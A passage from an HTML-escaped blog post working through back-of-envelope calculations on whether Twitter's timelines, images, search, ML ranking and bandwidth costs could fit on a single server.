  &lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;The request rate is totally fine, but the main issue is the size of each poll request has gone down, which raises our fixed overhead. We probably have enough headroom that it’s fine, but we can do better either by caching the heap we use for iterating timelines and updating it with new tweets or directly pushing new tweets to open connections. This would require following the tweet stream and intersecting a B-Tree set structure of live connections with sorted follower lists from new tweets, or maybe checking a bitset for live users. This can be sharded trivially across cores and the average tweet delivery rate is low enough, if peaks are too much we can just slip on live delivery.&lt;/p&gt;

&lt;p&gt;Infinite scrolling also performs better if we can cache a cursor at the end for each open connection, let’s check how much each cached connection-cursor costs:&lt;/p&gt;

&lt;div class=&quot;calca&quot;&gt;
  &lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;cached cursor size&lt;/span&gt; = &lt;span class=&quot;n&quot;&gt;8&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;byte&lt;/span&gt; * avg following &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;&lt;span class=&quot;n&quot;&gt;3,200&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;byte&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;live connection count * cached cursor size &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;GB&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;&lt;span class=&quot;n&quot;&gt;33.3333&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;GB&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;We can easily fit one at the start and one at the end in RAM! Given they can be loaded with one IO op it wouldn’t even really slow things down if they spilled to NVMe.&lt;/p&gt;

&lt;h2 id=&quot;images-kinda&quot;&gt;Images: Kinda!?&lt;/h2&gt;

&lt;p&gt;Images are something I initially thought definitely wouldn’t fit, but I was on a roll so I checked! Let’s start by looking at whether we can serve the images in people’s timelines.&lt;/p&gt;

&lt;div class=&quot;calca&quot;&gt;
  &lt;p&gt;I can&apos;t find any good data on how many images Twitter serves, so I&apos;ll be going with wild estimates looking at the fraction and size of images in my own Twitter timeline.

  &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;served tweets with images rate&lt;/span&gt; = &lt;span class=&quot;n&quot;&gt;1&lt;/span&gt;/&lt;span class=&quot;n&quot;&gt;5&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;avg served image size&lt;/span&gt; = &lt;span class=&quot;n&quot;&gt;70&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;KB&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;image bandwidth&lt;/span&gt; = delivery rate * served tweets with images rate * avg served image size &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;Gbit&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;&lt;span class=&quot;n&quot;&gt;132.7407&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;Gbit&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;s&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;
  &lt;p&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;total bandwidth&lt;/span&gt; = image bandwidth + delivery bandwidth &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;&lt;span class=&quot;n&quot;&gt;134.3704&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;Gbit&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;s&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;total bandwidth * &lt;span class=&quot;n&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;month&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;TB&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;&lt;span class=&quot;n&quot;&gt;44,169.993&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;TB&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;That seems surprisingly doable! I work with machines with hundreds of gigabits/s of networking every day and &lt;a href=&quot;http://nabstreamingsummit.com/wp-content/uploads/2022/05/2022-Streaming-Summit-Netflix.pdf&quot;&gt;Netflix can serve static content at 800Gb/s&lt;/a&gt;. This does require aggressive image compression and resizing, which is pretty CPU-intensive, but we can actually get our users to do that! We can have our clients upload both a large and a small version of each photo when they post them and then we won’t touch them except maybe to validate. Then we can discard the small version once the image drops out of the hot set.&lt;/p&gt;

&lt;p&gt;However there’s lots that could be wrong about this estimate, and there’s less than 8x overhead from my average case to the most a single machine can serve. So traffic peaks may cause our system to have to throttle serving images. I think there’s maybe a 40% chance I’d say it would fit without dropping images at peaks, upon much deeper investigation with Twitter internal numbers, conditional on the basics fitting.&lt;/p&gt;

&lt;p&gt;But what would it take to store all the historical large versions?&lt;/p&gt;

&lt;div class=&quot;calca&quot;&gt;
  &lt;p&gt;Tweets with images are probably more popular, so my timeline probably overestimates the fraction of tweets with images that we need to store. On the other hand &lt;a href=&quot;https://web.archive.org/web/20220414121946/https://highscalability.com/blog/2016/4/20/how-twitter-handles-3000-images-per-second.html&quot;&gt;this page&lt;/a&gt; says 3000/s but that would be fully half of average tweet rate so I kinda suspect that&apos;s a peak load number or something. I&apos;m going to guess a lower number, especially cuz lots of tweets are replies and those rarely have images, and when they do they&apos;re reaction images that can be deduplicated. On the other hand we need to store images at a larger size in case the user clicks on them to zoom in.

  &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;stored image fraction&lt;/span&gt; = &lt;span class=&quot;n&quot;&gt;1&lt;/span&gt;/&lt;span class=&quot;n&quot;&gt;10&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;avg stored image size&lt;/span&gt; = &lt;span class=&quot;n&quot;&gt;150&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;KB&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;image rate&lt;/span&gt; = avg tweet rate * stored image fraction &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;1&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;&lt;span class=&quot;n&quot;&gt;578.7037&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;s&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;image storage rate&lt;/span&gt; = image rate * avg stored image size &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;GB&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;day&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;&lt;span class=&quot;n&quot;&gt;7,680&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;GB&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;day&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;total storage rate&lt;/span&gt; = tweet storage rate + image storage rate &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;GB&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;day&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;&lt;span class=&quot;n&quot;&gt;7,768&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;GB&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;day&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;total storage rate * &lt;span class=&quot;n&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;year&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;TB&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;&lt;span class=&quot;n&quot;&gt;2,837.2037&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;TB&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;
  &lt;p&gt;That amount of image back-catalog is way to big to store on one machine. Let&apos;s fall-back to using cold-storage for old images using the cheapest cloud storage service I know.

  &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;image replication bandwidth&lt;/span&gt; = image storage rate * $&lt;span class=&quot;n&quot;&gt;0.01&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;GB&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;$&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;month&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;$&lt;span class=&quot;n&quot;&gt;2,337.552&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;month&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;backblaze b2 rate&lt;/span&gt; = $&lt;span class=&quot;n&quot;&gt;0.005&lt;/span&gt; / &lt;span class=&quot;u&quot;&gt;GB&lt;/span&gt; / &lt;span class=&quot;u&quot;&gt;month&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;cost per year of images&lt;/span&gt; = (image storage rate * &lt;span class=&quot;n&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;year&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;GB&lt;/span&gt;) * backblaze b2 rate &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;$&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;month&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;$&lt;span class=&quot;n&quot;&gt;14,025.312&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;month&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;
  &lt;p&gt;Luckily Backblaze B2 also &lt;a href=&quot;https://www.backblaze.com/b2/solutions/content-delivery.html&quot;&gt;integrates with Cloudflare&lt;/a&gt; for free egress.

  &lt;/p&gt;
&lt;/div&gt;

&lt;p&gt;So if we wanted to stick strictly to one server we’d need to make Twitter like SnapChat where your images dissapear after a while, maybe make our cache into a fun mechanic where your tweets keep their images only as long as people keep looking at them!&lt;/p&gt;

&lt;h2 id=&quot;features-that-probably-dont-fit-and-are-hard-to-estimate&quot;&gt;Features that probably don’t fit and are hard to estimate&lt;/h2&gt;

&lt;h3 id=&quot;video&quot;&gt;Video&lt;/h3&gt;

&lt;p&gt;Video uses more bandwidth than images, but on the other hand video compression is good and I think people view a lot less video on Twitter than images. I just don’t have that data though and my estimates would have such wild error bars that I’m just not going to try and say we probably can’t do video on a single machine.&lt;/p&gt;

&lt;h3 id=&quot;search&quot;&gt;Search&lt;/h3&gt;

&lt;p&gt;Search requires two things, a search index stored in fast storage, and the CPU to look over it. Using &lt;a href=&quot;https://blog.twitter.com/engineering/en_us/topics/infrastructure/2020/reducing-search-indexing-latency-to-one-second&quot;&gt;Twitter’s own posts about posting lists&lt;/a&gt; to get some index size estimates:&lt;/p&gt;

&lt;div class=&quot;calca&quot;&gt;
  &lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;avg words per tweet&lt;/span&gt; = tweet content avg size / &lt;span class=&quot;n&quot;&gt;4&lt;/span&gt; (&lt;span class=&quot;u&quot;&gt;byte&lt;/span&gt;/word) &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;&lt;span class=&quot;n&quot;&gt;35&lt;/span&gt; word&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;posting list size per tweet&lt;/span&gt; = &lt;span class=&quot;n&quot;&gt;3&lt;/span&gt; (&lt;span class=&quot;u&quot;&gt;byte&lt;/span&gt;/word) * avg words per tweet + &lt;span class=&quot;n&quot;&gt;16&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;byte&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;&lt;span class=&quot;n&quot;&gt;121&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;byte&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;index size per year&lt;/span&gt; = avg tweet rate * posting list size per tweet * &lt;span class=&quot;n&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;year&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;TB&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;&lt;span class=&quot;n&quot;&gt;22.0972&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;TB&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;It looks like a big NVMe machine could fit a few years of search index, although it would also need to store the raw historical tweets.&lt;/p&gt;

&lt;p&gt;However I have no good idea how to estimate how much load Twitter’s search system gets, and it would take more effort than I want to estimate the CPU and IOPS load of doing the searches. It might be possible but search is a pretty intensive task and I’m guessing it probably wouldn’t fit, especially not on the same machine as everything else.&lt;/p&gt;

&lt;h3 id=&quot;notifications&quot;&gt;Notifications&lt;/h3&gt;

&lt;p&gt;The trickiest part of notifications is that computing the historical notifications list on-the-fly might be tricky for big accounts, so it probably needs to be cached per user. This probably would need to go on NVMe or HDD and be updated with a background process following the write stream, which also would send out push notifications, and could fall behind during traffic bursts. This is probably what Twitter does given old notifications load slowly and very old notifications are dropped. Estimating whether this would fit would be tricky, the storage and compute budget is already stretched.&lt;/p&gt;

&lt;p&gt;Someone who worked at Twitter noted that push notifications from celebrities and their retweets can synchronize people loading their timelines into huge bursts. Randomly delaying celebrity notifications per user might be a necessary performance feature.&lt;/p&gt;

&lt;h3 id=&quot;ads&quot;&gt;Ads&lt;/h3&gt;

&lt;p&gt;An ex-Twitter engineer who read a draft mentioned that a substantial fraction of all compute is ad-related. How much compute ads cost of course depends on exactly what kind of ML or real-time auctions go into serving the ads. Very basic ads would be super easy to fit, and Twitter makes $500M/year on “data licensing and other”. How much revenue you need to run a service depends on how expensive it is! You could imagine an alternate universe non-profit Twitter which just sold their public data dumps and used that for all their funding if their costs were pushed low enough.&lt;/p&gt;

&lt;h2 id=&quot;algorithmic-timelines--ml&quot;&gt;Algorithmic Timelines / ML&lt;/h2&gt;

&lt;p&gt;Algorithmic timelines seem like the kind of thing that can’t possibly fit, but one thing I know from &lt;a href=&quot;https://www.anthropic.com/&quot;&gt;work at Anthropic&lt;/a&gt; is that modern GPUs are absolutely ridiculous monsters at multiplying matrices.&lt;/p&gt;

&lt;p&gt;I don’t know how Twitter’s ML works, so I’ll have to come up with my own idea for how I’d do it and then estimate that. I think the core of my approach would be having a &lt;a href=&quot;https://mccormickml.com/2019/05/14/BERT-word-embeddings-tutorial/&quot;&gt;text embedding&lt;/a&gt; model turn each tweet into a high-dimensional vector, and then jointly optimize it with an embedding model on features about a user’s activity/preferences such that tweets the user will prefer have higher dot product, then recommend tweets that have unusually high dot product and sort the feed based on that. Something like &lt;a href=&quot;https://en.wikipedia.org/wiki/Collaborative_filtering&quot;&gt;Collaborative Filtering&lt;/a&gt; might work even better, but I don’t know enough about that to do estimates without too much research.&lt;/p&gt;

&lt;p&gt;BERT is a popular sentence embedding model and clever people have managed to &lt;a href=&quot;https://arxiv.org/abs/1909.10351&quot;&gt;distill it at the same performance into a tiny model&lt;/a&gt;. Let’s assume we base our ML on those models running in bf16:&lt;/p&gt;

&lt;div class=&quot;calca&quot;&gt;
  &lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;teraflop&lt;/span&gt; = &lt;span class=&quot;n&quot;&gt;1e12&lt;/span&gt; flop
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;tinybert flops&lt;/span&gt; = &lt;span class=&quot;n&quot;&gt;1.2e9&lt;/span&gt; flop &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; teraflop &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;&lt;span class=&quot;n&quot;&gt;0.0012&lt;/span&gt; teraflop&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;a100 flops&lt;/span&gt; = &lt;span class=&quot;n&quot;&gt;312&lt;/span&gt; teraflop/&lt;span class=&quot;u&quot;&gt;s&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;a40 flops&lt;/span&gt; = &lt;span class=&quot;n&quot;&gt;150&lt;/span&gt; teraflop/&lt;span class=&quot;u&quot;&gt;s&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;avg tweet rate * tinybert flops &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; teraflop/&lt;span class=&quot;u&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;&lt;span class=&quot;n&quot;&gt;6.9444&lt;/span&gt; teraflop/&lt;span class=&quot;u&quot;&gt;s&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;delivery rate * tinybert flops / a100 flops &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;n ans&quot;&gt;4.4516&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;
  &lt;p&gt;We need to do something with those BERT embeddings though, like check them against all the users. Normal BERT embeddings are a bit bigger &lt;a href=&quot;https://www.sbert.net/examples/training/distillation/README.html#dimensionality-reduction&quot;&gt;but we can dimensionality reduce them down&lt;/a&gt;, or we could use a library like FAISS on the CPU to make checking the embeddings against all the users much cheaper using an acceleration structure:

  &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;embedding dim&lt;/span&gt; = &lt;span class=&quot;n&quot;&gt;256&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;flops to check tweet against all users&lt;/span&gt; = daily active users * embedding dim * flop &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; teraflop &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;&lt;span class=&quot;n&quot;&gt;0.064&lt;/span&gt; teraflop&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;
  &lt;p&gt;It&apos;s fine if the ML falls a bit behind during micro-bursts so let&apos;s use the average rate and see how much we can afford on some ML instances:

  &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;flops per tweet with p4d&lt;/span&gt; = &lt;span class=&quot;n&quot;&gt;8&lt;/span&gt; * a100 flops / avg tweet rate &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; teraflop &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;&lt;span class=&quot;n&quot;&gt;0.4313&lt;/span&gt; teraflop&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;flops per tweet with vultr&lt;/span&gt; = &lt;span class=&quot;n&quot;&gt;4&lt;/span&gt; * a40 flops / avg tweet rate &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; teraflop &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;&lt;span class=&quot;n&quot;&gt;0.1037&lt;/span&gt; teraflop&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Looks like the immense power of modern GPUs is up to the size of our task with room to spare! We can embed every tweet and check it against every user to do things like cache some dot products for sorting their timeline, or recommend tweets from people they don’t follow. I’m not tied to this ML scheme being the best, but it shows we have lots of power available!&lt;/p&gt;

&lt;p&gt;One way this estimate could go wrong is by using the theoretical flops. Generally you can approach that (but not actually get there) by using really large batch sizes, fused kernels and &lt;a href=&quot;https://pytorch.org/blog/accelerating-pytorch-with-cuda-graphs/&quot;&gt;CUDA Graphs&lt;/a&gt;, but I generally work with much bigger models than this so it may not be possible! There’s also a variety of things around PCIe and HBM bandwidth I didn’t estimate, and maybe real Twitter uses bigger better models! Algorithmic timelines also add more load on the timeline fetching, since more tweets are candidates and the timelines need sorting, but we do have plenty of headroom there.&lt;/p&gt;

&lt;p&gt;I can’t put a number on this one because I’m confident I could fit &lt;em&gt;some&lt;/em&gt; ML, but it also probably wouldn’t be as good as Twitter’s actual ML and I don’t know how to turn that into a prediction. Some ML designs also place much more load on other parts of the system, for example by loading lots of tweets to consider for each tweet actually delivered in the timeline.&lt;/p&gt;

&lt;h2 id=&quot;bandwidth-costs-they-can-be-super-expensive-or-free&quot;&gt;Bandwidth costs: They can be super expensive or free!&lt;/h2&gt;

&lt;p&gt;So far we’ve just checked whether the bandwidth can fit out the network cards, but it also costs money to get that bandwidth to the internet. It doesn’t affect the machines it fits on, but how much does that cost?&lt;/p&gt;

&lt;div class=&quot;calca&quot;&gt;
  &lt;p&gt;OVHCloud offers &lt;a href=&quot;https://us.ovhcloud.com/bare-metal/high-grade/hgr-hci-2/&quot;&gt;unmetered 10Gbit/s public bandwidth&lt;/a&gt; as an upgrade option from the included 1Gbit/s:
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;bandwidth price&lt;/span&gt; = ($&lt;span class=&quot;n&quot;&gt;717&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;month&lt;/span&gt;)/(&lt;span class=&quot;n&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;u&quot;&gt;Gbit&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;s&lt;/span&gt;) &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;$&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;GB&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;$&lt;span class=&quot;n&quot;&gt;0.0002&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;GB&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;My friend says a normal price a datacenter might charge for an unmetered gigabit connection is $1k/month:
  &lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;friend says colo price&lt;/span&gt; = $&lt;span class=&quot;n&quot;&gt;1000&lt;/span&gt;/(&lt;span class=&quot;u&quot;&gt;month&lt;/span&gt;*&lt;span class=&quot;u&quot;&gt;Gbit&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;s&lt;/span&gt;) &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;$&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;GB&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;$&lt;span class=&quot;n&quot;&gt;0.003&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;GB&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;This is the cheapest tier cdn77 offers without &quot;contact us&quot;, and they&apos;re cheaper than other CDN providers:
  &lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;cdn77 price&lt;/span&gt; = (($&lt;span class=&quot;n&quot;&gt;1390&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;month&lt;/span&gt;)/(&lt;span class=&quot;n&quot;&gt;150&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;TB&lt;/span&gt; / &lt;span class=&quot;n&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;month&lt;/span&gt;)) &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;$&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;GB&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;$&lt;span class=&quot;n&quot;&gt;0.0093&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;GB&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;vultr price&lt;/span&gt; = $&lt;span class=&quot;n&quot;&gt;0.01&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;GB&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;cloudfront 500tb price&lt;/span&gt; = $&lt;span class=&quot;n&quot;&gt;0.03&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;GB&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;
  &lt;p&gt;The total cost will thus depend quite a bit on which provider we choose:

  &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;delivery bandwidth cost&lt;/span&gt; = bandwidth price * delivery bandwidth &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;$&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;month&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;$&lt;span class=&quot;n&quot;&gt;129.8272&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;month&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;delivery bandwidth cost(bandwidth price = cloudfront 500tb price) &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;$&lt;span class=&quot;n&quot;&gt;16,070.67&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;month&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;
  &lt;p&gt;Things get much worse when we include image bandwidth:

  &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;total bandwidth cost&lt;/span&gt; = bandwidth price * total bandwidth &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;$&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;month&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;$&lt;span class=&quot;n&quot;&gt;10,704.8395&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;month&lt;/span&gt;&lt;/span&gt;
